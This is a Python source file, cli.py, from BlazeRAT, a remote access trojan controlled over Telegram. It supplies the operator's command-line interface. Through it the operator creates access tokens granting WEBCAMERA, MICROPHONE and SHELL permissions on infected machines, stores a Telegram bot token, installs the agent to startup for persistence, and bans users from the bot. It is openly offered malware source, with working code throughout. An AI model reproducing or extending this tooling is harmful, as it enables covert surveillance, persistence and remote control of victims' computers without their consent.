cli.py 5.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from sys import exit
  5. from config import perms
  6. from argparse import ArgumentParser
  7. from core.banned import \
  8. EnumerateBannedUsers, BanUser
  9. from core.tokens import \
  10. TokenCreate, TokenDelete, EnumeratePermissions, WriteTelegramBotAPI_Token
  11. from services.startup import \
  12. ServiceInstalled, ServiceInstall, ServiceUninstall
  13. """
  14. Author : LimerBoy
  15. github.com/LimerBoy/BlazeRAT
  16. Notes :
  17. The file is needed to process actions by the command line
  18. and store the banner.
  19. """
  20. """ Handle cli commands """
  21. def ParseArgs():
  22. parser = ArgumentParser(description="BlazeRAT - Command Line Interface")
  23. # Token manager
  24. parser.add_argument("--perms", nargs="+", type=str,
  25. metavar=", ".join(perms),
  26. help="Permissions list for new token")
  27. parser.add_argument("--name", type=str,
  28. help="Name for token")
  29. parser.add_argument("--TokenCreate", action="store_true",
  30. help="Create new token with permissions")
  31. parser.add_argument("--TokenDelete", action="store_true",
  32. help="Delete token with permissions")
  33. parser.add_argument("--TokenPerms", action="store_true",
  34. help="Get token permissions")
  35. # Telegram API token manager
  36. parser.add_argument("--InitApiToken", type=str,
  37. metavar="<token>",
  38. help="Telegram Bot API token")
  39. # Ban manager
  40. parser.add_argument("--Banlist", action="store_true",
  41. help="Get banned users list")
  42. parser.add_argument("--BanUser", action="store_true",
  43. help="Ban user")
  44. parser.add_argument("--UnbanUser", action="store_true",
  45. help="Unban user")
  46. parser.add_argument("--chatid", type=int,
  47. help="Telegram chatid")
  48. parser.add_argument("--reason", type=str,
  49. help="Ban reason")
  50. # Startup
  51. parser.add_argument("--InstallAgent", action="store_true",
  52. help="Add to startup")
  53. parser.add_argument("--UninstallAgent", action="store_true",
  54. help="Remove from startup")
  55. args = parser.parse_args()
  56. # Require --perms and --name for --TokenCreate
  57. if args.TokenCreate and (args.perms is None or args.name is None):
  58. parser.error("--TokenCreate requires --perms and --name")
  59. # Require --name for --TokenDelete
  60. elif args.TokenDelete and args.name is None:
  61. parser.error("--TokenDelete requires --name")
  62. # Require --chatid and reason for --BanUser
  63. elif args.BanUser and (args.chatid is None or args.reason is None):
  64. parser.error("--chatid and --reason arguments required to ban user")
  65. # Require --chatid for --UnbanUser
  66. elif args.BanUser and args.chatid is None:
  67. parser.error("--chatid argument required to unban user")
  68. # Create token:
  69. # Example: python3 main.py --TokenCreate --name root --perms 'WEBCAMERA' 'MICROPHONE' 'SHELL'
  70. if args.TokenCreate:
  71. token = TokenCreate(args.name, args.perms)
  72. exit(f"[+] Created new token {repr(token)}, with permissions: {', '.join(args.perms)}")
  73. # Delete token:
  74. # Example: python3 main.py --TokenDelete --name root
  75. elif args.TokenDelete:
  76. if TokenDelete(args.name):
  77. exit(f"[+] Token {repr(args.name)} deleted")
  78. else:
  79. exit(f"[!] Token {repr(args.name)} does not exists")
  80. # Enumerate token permissions:
  81. # Example: python3 main.py --TokenPerms --name root
  82. elif args.TokenPerms:
  83. out = EnumeratePermissions(args.name, have=True)
  84. exit(out)
  85. # Write telegram bot api token:
  86. # Example: python3 main.py --InitApiToken 1372352235:AAF_a2mqhyak1sBJl0IaDah85Ioy2MMB7Yc
  87. elif args.InitApiToken:
  88. WriteTelegramBotAPI_Token(args.InitApiToken)
  89. exit(f"[+] Telegram API token saved")
  90. # Add to startup:
  91. # Example: python3 main.py --InstallAgent
  92. elif args.InstallAgent:
  93. if not ServiceInstalled():
  94. out = ServiceInstall()
  95. exit(out)
  96. else:
  97. exit("[!] BlazeRAT agent already installed!")
  98. # Remove from startup:
  99. # Example: python3 main.py --UninstallAgent
  100. elif args.UninstallAgent:
  101. if ServiceInstalled():
  102. out = ServiceUninstall()
  103. exit(out)
  104. else:
  105. exit("[!] BlazeRAT not installed!")
  106. # Get banned users list:
  107. # Example: python3 main.py --Banlist
  108. elif args.Banlist:
  109. out = EnumerateBannedUsers()
  110. exit(out)
  111. # Ban user:
  112. # Example: python3 main.py --BanUser --chatid 2345123 --reason 'Tokens bruteforce'
  113. elif args.BanUser:
  114. BanUser(args.chatid, "Unknown", True, args.reason)
  115. exit(f"[+] User {args.chatid} is banned with reason: {args.reason}")
  116. # Unban user:
  117. # Example: python3 main.py --UnbanUser --chatid 2345123
  118. elif args.UnbanUser:
  119. BanUser(args.chatid, "", False)
  120. exit(f"[+] User {args.chatid} is unbanned")
  121. """
  122. Terminal banner
  123. You can create own banner here:
  124. http://patorjk.com/software/taag/
  125. """
  126. banner = (r"""
  127. ______ __ _______ _
  128. |_ _ \ [ | |_ __ \ / |_
  129. | |_) | | | ,--. ____ .---. | |__) | ,--. `| |-'
  130. | __'. | | `'_\ : [_ ]/ /__\\ | __ / `'_\ : | |
  131. _| |__) || | // | |, .' /_| \__., _| | \ \_ // | |,| |,
  132. |_______/[___]\'-;__/[_____]'.__.'|____| |___|\'-;__/\__/
  133. # Created By LimerBoy #
  134. """)